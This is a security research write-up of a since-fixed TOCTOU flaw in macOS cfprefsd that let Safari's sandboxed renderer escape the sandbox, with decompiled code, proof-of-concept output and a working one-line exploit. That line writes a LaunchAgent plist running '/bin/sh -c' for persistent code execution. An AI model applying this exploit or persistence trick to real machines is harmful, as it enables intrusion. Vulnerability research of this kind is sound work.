One-liner Safari Sandbox Escape Exploit

TOCTOU bug in CoreFoundation and state change of sandbox lockdown on macOS Safari, leading to easy sandbox escape.

I am writing about a dead simple and reliable sandbox escape exploit which only have one line of code. Yeah I am sure it’s an exploit, not just PoC. It has nothing to do with iOS.

The bug was refactored (or killed) before the beta release of Mojave. The latest vulnerable version is macOS High Sierra 10.13.6 (17G65).

Since it’s part of a browser exploit chain you’ll need a renderer exploit to gain shellcode execution first. If not, disable SIP so you can debug, attach lldb to a running com.apple.WebKit.WebContent.xpc and use the following command:

po CFPreferencesSetAppValue(@"Label", @"You know what should be put here", [(id)NSHomeDirectory() stringByAppendingPathComponent:@"Library/LaunchAgents/evil.plist"])

This line will generate a new plist under ~/Library/LaunchAgents. With the proper arguments you can launch a Calculator or anything you like after re-logging into system.

What’s going on here? Isn’t that supposed to be blocked by the sandbox?

The bug

The key is that there’s a TOCTOU in cfprefsd that you don’t even need to race.

There are Preferences Utilities in CoreFoundation for reading and saving plist serialized preferences on macOS.

Most developers are in favor of NSUserDefaults. They are similar for reading and setting serialized key value data, but NSUserDefaults is designed for containerized environment (like apps from App Store), while Preferences Utilities has an explicit argument for accessing data from other applications.

These plist files are usually located in:

The applicationID can also be an absolute path, just like the given one-liner. But it’s supposed to perform permission check on the parameter. Why did it even work?

These functions internally invoke XPC with cfprefsd, as implemented in CoreFoundation. The daemon surely will check the sandbox state and permission of the incoming message with sandbox_check.

Unfortunately there used to be an implementation error. It mistakenly caches the result of sandbox_check from the beginning, and keep trusting it during the whole session.

The vulnerable function:

void ____CFPrefsMessageSenderIsSandboxed_block_invoke(int context, int param_2) {
	int sandboxed;
	undefined4 *puVar1;
	if (*(int *) (param_2 + 0x1c) == 0) {
		sandboxed = _sandbox_check(*(undefined4 *) (context + 0x18),0,
				*(undefined4 *)SANDBOX_CHECK_NO_REPORT);
		*(bool *)(*(int *)(*(int *)(context + 0x14) + 4) + 0x10) = sandboxed != 0;
		puVar1 = (undefined4 *)PTR__kCFBooleanFalse 0048b070;
		if (*(char *)(*(int *) (*(int *) (context + 0x14) + 4) + 0x10) != 0) {
			puVarl= (undefined4 *)PTR__kCFBooleanTrue0048b074;
		}
		*(undefined4 *)(param_2 + 0x1c) = *puVar1;
	} else {
		*(bool *)(*(int *)(*(int *)(context + 0x14) + 4) + 0x10) =
			*(int *)(param_2 + 0x1c) == *(int *)PTR__KCFBooleanTrue_0048b074;
	}
	return;
}

The client process first initiates an XPC connection with cfprefsd, its sandbox state is checked with sandbox_check function. The result is cached for the duration of this XPC session. Thus, new CFPreference operations are still allowed by cfprefsd after sandbox lockdown because of this cached result.

PoC

Minimal test case here.

The following CopyAppValue request obviously will fail:

init_sandbox(); // copy the implementation from WebKit source
NSLog(@"read: %@", CFPreferencesCopyAppValue(CFSTR("CFBundleGetInfoString"), CFSTR("/Applications/Calculator.app/Contents/Info")));
bogon:Downloads vm$ ./a.out
2019-03-14 07:47:48.068 a.out[1028:33847] read: (null)

The console output for the first try:

rejecting read of { /Applications/Calculator.app/Contents/Info, kCFPreferencesAnyUser, kCFPreferencesCurrentHost, no container, managed: 0 } from process 1028 because accessing preferences outside an application’s container requires user-preference-read or file-read-data sandbox accessNow let’s put an extra read operation before init_sandbox, the second call will surprisingly work:

If a process has accessed CFPreferences utilities before it goes into sandbox state, there will be no further sandbox check.

CFPreferencesCopyAppValue(CFSTR("TALLogoutSavesState"), CFSTR("com.apple.loginwindow"));
init_sandbox();
NSLog(@"after: %@", CFPreferencesCopyAppValue(CFSTR("CFBundleGetInfoString"), CFSTR("/Applications/Calculator.app/Contents/Info")));
bogon:Downloads vm$ ./a.out
2019-03-14 07:47:08.347 a.out[1026:33710] after: 10.13, Copyright © 2001-2017, Apple Inc.

Study on WebKit

Let’s take a look at WebKit’s sandbox implementation.

According to the sandbox profile, process-exec is prohibited (all rules not explicitly allowed goes to deny default)

https://opensource.apple.com/source/WebKit2/WebKit2-7601.1.46.125/WebProcess/com.apple.WebProcess.sb.in.auto.html

WebKit has a multi-process architecture, so it needs to spawn the process before containerization. At the very beginning of the renderer process creation, it’s just a normal process.

Unfortunately the renderer process has such interaction with CFPreferences during process initialization:

 frame #17: 0x00007fff454e015a CoreFoundation` _CFPreferencesCopyAppValueWithContainerAndConfiguration + 107
 frame #18: 0x00007fff47868b94 Foundation` -[NSUserDefaults(NSUserDefaults) init] + 1423
 frame #19: 0x00007fff47870c3a Foundation` +[NSUserDefaults(NSUserDefaults) standardUserDefaults] + 78
 frame #20: 0x00007fff42a3ba4e AppKit` +[NSApplication initialize] + 90
 frame #21: 0x00007fff71678248 libobjc.A.dylib` CALLING_SOME_+initialize_METHOD + 19
 frame #22: 0x00007fff7166800c libobjc.A.dylib` _class_initialize + 282
 frame #23: 0x00007fff71667a19 libobjc.A.dylib` lookUpImpOrForward + 238
 frame #24: 0x00007fff71667494 libobjc.A.dylib` _objc_msgSend_uncached + 68
 frame #25: 0x0000000100001627 com.apple.WebKit.WebContent` ___lldb_unnamed_symbol1$$com.apple.WebKit.WebContent + 519
 frame #26: 0x00007fff72743ed9 libdyld.dylib` start + 1

After the initialization, it calls ChildProcess::initializeSandbox to enter sandbox and load untrusted content.

https://opensource.apple.com/source/WebKit2/WebKit2-7601.1.46.9/Shared/ios/ChildProcessIOS.mm.auto.html

void ChildProcess::initializeSandbox(const ChildProcessInitializationParameters& parameters, SandboxInitializationParameters& sandboxParameters)
{
#if ENABLE(MANUAL_SANDBOXING)
    NSBundle *webkit2Bundle = [NSBundle bundleForClass:NSClassFromString(@"WKView")];
    String defaultProfilePath = [webkit2Bundle pathForResource:[[NSBundle mainBundle] bundleIdentifier] ofType:@"sb"];
    if (sandboxParameters.systemDirectorySuffix().isNull()) {
        String defaultSystemDirectorySuffix = String([[NSBundle mainBundle] bundleIdentifier]) + "+" + parameters.clientIdentifier;
        sandboxParameters.setSystemDirectorySuffix(defaultSystemDirectorySuffix);
    }

    String sandboxImportPath = "/usr/local/share/sandbox/imports";
    sandboxParameters.addPathParameter("IMPORT_DIR", fileSystemRepresentation(sandboxImportPath).data());

    switch (sandboxParameters.mode()) {
    case SandboxInitializationParameters::UseDefaultSandboxProfilePath:
    case SandboxInitializationParameters::UseOverrideSandboxProfilePath: {
        String sandboxProfilePath = sandboxParameters.mode() == SandboxInitializationParameters::UseDefaultSandboxProfilePath ? defaultProfilePath : sandboxParameters.overrideSandboxProfilePath();
        if (!sandboxProfilePath.isEmpty()) {
            CString profilePath = fileSystemRepresentation(sandboxProfilePath);
            char* errorBuf;
            if (sandbox_init_with_parameters(profilePath.data(), SANDBOX_NAMED_EXTERNAL, sandboxParameters.namedParameterArray(), &errorBuf)) {
                WTFLogAlways("%s: Couldn't initialize sandbox profile [%s], error '%s'\n", getprogname(), profilePath.data(), errorBuf);
                for (size_t i = 0, count = sandboxParameters.count(); i != count; ++i)
                    WTFLogAlways("%s=%s\n", sandboxParameters.name(i), sandboxParameters.value(i));
                exit(EX_NOPERM);
            }
        }

        break;
    }

So cfprefsd will always treat it like a normal process.

TOCTOU

No additional action required, just access arbitrary preferences from arbitrary domain under same uid with these utilities. Let’s assume you’ve already archived rop or shellcode to dlopen the escape payload, all you need to put in the dylib constructor function is the following one line of code:

CFPreferencesSetAppValue(CFSTR("ProgramArguments"), (__bridge CFArrayRef)@[@"/bin/sh", @"-c", @"open -a Calculator"], (__bridge CFStringRef)[NSHomeDirectory() stringByAppendingPathComponent:@"Library/LaunchAgents/evil.plist"]);

LaunchAgent requires logging off, so I digged around and found another way to trigger the code execution outside instantly. Well this instant trigger actually has nearly 80 lines of code (make it clear in case of the Criticism for the title).

Here’s the live demo chained with WebSQL renderer exploit from Pwn2Own 2017 (credit to Slipper & Kelwin). Don’t have a working renderer exploit on High Sierra now so I use the old one.

Demo

This bug affects at least from El Capitan to High Sierra (10.13.6), or maybe even earlier version. No CVE assigned but I think it’s worth branding.